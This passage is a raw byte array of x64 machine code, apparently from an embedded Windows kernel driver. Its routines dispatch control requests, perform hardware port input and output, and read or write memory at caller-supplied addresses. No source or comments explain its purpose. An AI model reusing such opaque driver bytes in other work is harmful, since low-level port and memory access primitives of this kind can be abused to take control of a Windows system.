0xdb, 0x66, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xc0, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x0f, 0xb6, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xbd, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x0f, 0xb7, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xba, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x8b, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xb8, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x88, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x57, 0x20, 0x4c, 0x8d, 0x47, 0x28, 0x48, 0x8d, 0x4f, 0x18, 0xe8, 0xd1, 0x14, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x44, 0x8b, 0x47, 0x28, 0x48, 0x8b, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xca, 0x0b, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xe8, 0xcf, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x48, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xe8, 0x23, 0x0e, 0x00, 0x00, 0x33, 0xdb, 0x48, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x8b, 0x4f, 0x10, 0xe8, 0x34, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x8b, 0x4f, 0x10, 0xe8, 0x59, 0x0d, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0x9d, 0x09, 0x00, 0x00, 0x33, 0xdb, 0x48, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x8b, 0x57, 0x1c, 0x8b, 0x4f, 0x18, 0x33, 0xdb, 0x4c, 0x8d, 0x47, 0x20, 0x45, 0x33, 0xc9, 0x89, 0x5c, 0x24, 0x20, 0xe8, 0xde, 0x11, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x10, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0xe8, 0xeb, 0x11, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x85, 0xc9, 0x74, 0x1f, 0x4c, 0x8b, 0x47, 0x20, 0x8b, 0x57, 0x10, 0xe8, 0xa3, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8d, 0x0d, 0x79, 0x33, 0x00, 0x00, 0xe8, 0x44, 0x08, 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x85, 0xc9, 0x74, 0x25, 0x48, 0x8b, 0x57, 0x10, 0x48, 0x85, 0xd2, 0x74, 0x1c, 0x4c, 0x8b, 0x47, 0x20, 0xe8, 0x88, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8d, 0x0d, 0xee, 0x32, 0x00, 0x00, 0xe8, 0xf9, 0x07, 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x85, 0xc9, 0x74, 0x25, 0x48, 0x8b, 0x57, 0x10, 0x48, 0x85, 0xd2, 0x74, 0x1c, 0x4c, 0x8b, 0x47, 0x20, 0xe8, 0x3d, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8d, 0x0d, 0x63, 0x32, 0x00, 0x00, 0xe8, 0xae, 0x07, 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x4c, 0x8b, 0x47, 0x20, 0x48, 0x8b, 0x57, 0x10, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xfc, 0x06, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0x10, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0x11, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x44, 0x8b, 0x47, 0x24, 0x8b, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0x0b, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x83, 0xc7, 0x10, 0x74, 0x3f, 0x0f, 0xb6, 0x0f, 0xe8, 0xb7, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x83, 0xc7, 0x10, 0x74, 0x1e, 0x48, 0x8d, 0x4f, 0x04, 0xe8, 0xe5, 0x06, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x07, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8d, 0x0d, 0x39, 0x31, 0x00, 0x00, 0xe8, 0xc4, 0x06, 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x4c, 0x8b, 0x47, 0x28, 0x8b, 0x57, 0x1c, 0x8b, 0x4f, 0x18, 0x33, 0xdb, 0x4c, 0x8d, 0x4f, 0x20, 0x89, 0x5c, 0x24, 0x28, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xe8, 0x55, 0x0c, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x57, 0x18, 0x48, 0x8b, 0x4f, 0x10, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xe8, 0x5d, 0x0e, 0x00, 0x00, 0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x4c, 0x8b, 0x4f, 0x30, 0x48, 0x8b, 0x57, 0x20, 0x4c, 0x8d, 0x47, 0x28, 0x48, 0x8d, 0x4f, 0x18, 0xe8, 0x85, 0x10, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x4c, 0x8b, 0x4f, 0x30, 0x44, 0x8b, 0x47, 0x28, 0x48, 0x8b, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xda, 0x08, 0x00, 0x00, 0x33, 0xdb, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x48, 0x8b, 0x57, 0x20, 0x48, 0x8b, 0x4f, 0x18, 0xe8, 0xa7, 0x04, 0x00, 0x00, 0x33, 0xdb, 0x48, 0x89, 0x47, 0x10, 0x8b, 0xc3, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xbb, 0x18, 0x20, 0x6a, 0xc8, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x66, 0x90, 0xe2, 0x13, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x21, 0x14, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x40, 0x14, 0x00, 0x00, 0x63, 0x14, 0x00, 0x00, 0x86, 0x14, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0xa8, 0x14, 0x00, 0x00, 0xc7, 0x14, 0x00, 0x00, 0xe7, 0x14, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x06, 0x15, 0x00, 0x00, 0x29, 0x15, 0x00, 0x00, 0x4c, 0x15, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x6e, 0x15, 0x00, 0x00, 0x95, 0x15, 0x00, 0x00, 0xbc, 0x15, 0x00, 0x00, 0xd8, 0x15, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x0f, 0x16, 0x00, 0x00, 0xf4, 0x15, 0x00, 0x00, 0x2a, 0x16, 0x00, 0x00, 0x4a, 0x16, 0x00, 0x00, 0x77, 0x16, 0x00, 0x00, 0x97, 0x17, 0x00, 0x00, 0xb6, 0x17, 0x00, 0x00, 0xd5, 0x17, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x1c, 0x18, 0x00, 0x00, 0x98, 0x16, 0x00, 0x00, 0xdd, 0x16, 0x00, 0x00, 0x28, 0x17, 0x00, 0x00, 0x73, 0x17, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0xfb, 0x17, 0x00, 0x00, 0x5d, 0x18, 0x00, 0x00, 0x90, 0x18, 0x00, 0x00, 0xb6, 0x18, 0x00, 0x00, 0xe1, 0x18, 0x00, 0x00, 0x0c, 0x19, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x81, 0xec, 0x30, 0x01, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x48, 0x8b, 0xd9, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x84, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x01, 0x48, 0xff, 0xc8, 0x48, 0x83, 0xf8, 0x06, 0x0f, 0x87, 0x5b, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x8f, 0xe5, 0xff, 0xff, 0x8b, 0x84, 0x81, 0xd4, 0x1b, 0x00, 0x00, 0x48, 0x03, 0xc1, 0xff, 0xe0, 0xe8, 0x4e, 0x1c, 0x00, 0x00, 0x66, 0x89, 0x43, 0x10, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0x48, 0x8d, 0x53, 0x14, 0x48, 0x8d, 0x4b, 0x18, 0xe8, 0xc2, 0x1c, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x80, 0x27, 0x00, 0x00, 0x44, 0x8b, 0x83, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x24, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x68, 0x1d, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x46, 0x27, 0x00, 0x00, 0x8b, 0x93, 0x20, 0x01, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x24, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0xff, 0x1d, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x0d, 0x27, 0x00, 0x00, 0x44, 0x8b, 0x83, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x93, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x46, 0x1e, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0xd4, 0x26, 0x00, 0x00, 0x44, 0x8b, 0x8b, 0x28, 0x01, 0x00, 0x00, 0x44, 0x0f, 0xb6, 0x83, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x93, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x25, 0x1f, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x93, 0x26, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0xd9, 0x14, 0x00, 0x00, 0x89, 0x43, 0x10, 0x33, 0xc0, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0xb8, 0x18, 0x20, 0x6a, 0xc8, 0x48, 0x81, 0xc4, 0x30, 0x01, 0x00, 0x00, 0x5b, 0xc3, 0x90, 0x7d, 0x1a, 0x00, 0x00, 0x91, 0x1a, 0x00, 0x00, 0xac, 0x1a, 0x00, 0x00, 0xe6, 0x1a, 0x00, 0x00, 0x1f, 0x1b, 0x00, 0x00, 0x58, 0x1b, 0x00, 0x00, 0x99, 0x1b, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x0f, 0xb7, 0xd1, 0xec, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x0f, 0xb7, 0xd1, 0x66, 0xed, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x0f, 0xb7, 0xd1, 0xed, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x0f, 0xb6, 0xc2, 0x0f, 0xb7, 0xd1, 0xee, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x0f, 0xb7, 0xc2, 0x0f, 0xb7, 0xd1, 0x66, 0xef, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x8b, 0xc2, 0x0f, 0xb7, 0xd1, 0xef, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x04, 0x0f, 0xb6, 0x01, 0xc3, 0x32, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x04, 0x0f, 0xb7, 0x01, 0xc3, 0x66, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x03, 0x8b, 0x01, 0xc3, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x88, 0x11, 0xf0, 0x83, 0x0c, 0x24, 0x00, 0xb0, 0x01, 0xc3, 0x32, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x66, 0x89, 0x11, 0xf0, 0x83, 0x0c, 0x24, 0x00, 0xb0, 0x01, 0xc3, 0x32, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x89, 0x11, 0xf0, 0x83, 0x0c, 0x24, 0x00, 0xb0, 0x01, 0xc3, 0x32, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xb8, 0x1f, 0x85, 0xeb, 0x51, 0x48, 0x89, 0x5c, 0x24, 0x40, 0x8b, 0xd9, 0xf7, 0xe1, 0xc1, 0xea, 0x04, 0x74, 0x21, 0x48, 0x89, 0x7c, 0x24, 0x48, 0x8b, 0xfa, 0x66, 0x90, 0xb9, 0x32, 0x00, 0x00, 0x00, 0xff, 0x15, 0xa5, 0x42, 0x00, 0x00, 0x83, 0xc3, 0xce, 0x48, 0xff, 0xcf, 0x75, 0xed, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x85, 0xdb, 0x74, 0x08, 0x8b, 0xcb, 0xff, 0x15, 0x8c, 0x42, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x33, 0xc9, 0x48, 0xff, 0x25, 0x6f, 0x42, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x74, 0x08, 0x33, 0xd2, 0xff, 0x15, 0x87, 0x42, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xd2, 0x74, 0x6d, 0x45, 0x33, 0xc9, 0x48, 0x8d, 0x05, 0xb1, 0x53, 0x00, 0x00, 0x4c, 0x8d, 0x15, 0x2a, 0xe2, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x4b, 0x39, 0x94, 0x10, 0x60, 0x7a, 0x3d, 0x00, 0x75, 0x0a, 0x4b, 0x3b, 0x8c, 0x10, 0x40, 0x7a, 0x3d, 0x00, 0x74, 0x21, 0x48, 0x39, 0x50, 0x08, 0x75, 0x05, 0x48, 0x3b, 0x08, 0x74, 0x24, 0x49, 0x83, 0xc0, 0x28, 0x49, 0xff, 0xc1, 0x48, 0x83, 0xc0, 0x50, 0x49, 0x81, 0xf8, 0x80, 0x84, 0x1e, 0x00, 0x72, 0xcd, 0xeb, 0x1d, 0x4b, 0x8d, 0x04, 0x89, 0x49, 0x8b, 0x8c, 0xc2, 0x48, 0x7a, 0x3d, 0x00, 0xeb, 0x0f, 0x4b, 0x8d, 0x04, 0x89, 0x48, 0x03, 0xc0, 0x49, 0x8b, 0x8c, 0xc2, 0x50, 0x71, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x07, 0x48, 0xff, 0x25, 0x02, 0x42, 0x00, 0x00, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4c, 0x0f, 0x20, 0xc0, 0x3c, 0x02, 0x77, 0x08, 0x0f, 0xb6, 0xd2, 0xe8, 0x27, 0x27, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4c, 0x0f, 0x20, 0xc0, 0x3c, 0x02, 0x77, 0x05, 0xe8, 0xaa, 0x23, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x0c, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0xc1, 0x01, 0xff, 0xc0, 0xc3, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x0c, 0xb8, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xc1, 0x01, 0xff, 0xc8, 0xc3, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x08, 0x8b, 0xc2, 0xf0, 0x44, 0x0f, 0xb1, 0x01, 0xc3, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x89, 0x54, 0x24, 0x10, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x81, 0xec, 0x38, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xd6, 0x51, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x20, 0x04, 0x00, 0x00, 0x80, 0x3d, 0xe7, 0x51, 0x00, 0x00, 0x01, 0x75, 0x59, 0x48, 0x85, 0xc9, 0x74, 0x54, 0x48, 0x8b, 0xd1, 0x4c, 0x8d, 0x84, 0x24, 0x48, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xff, 0x15, 0xfa, 0x40, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8d, 0x15, 0x16, 0x2b, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x20, 0x02, 0x00, 0x00, 0xff, 0x15, 0xd8, 0x40, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x20, 0x02, 0x00, 0x00, 0xe8, 0xfb, 0x26, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x8c, 0x24, 0x20, 0x04, 0x00, 0x00, 0xe8, 0x0c, 0x27, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x38, 0x04, 0x00, 0x00, 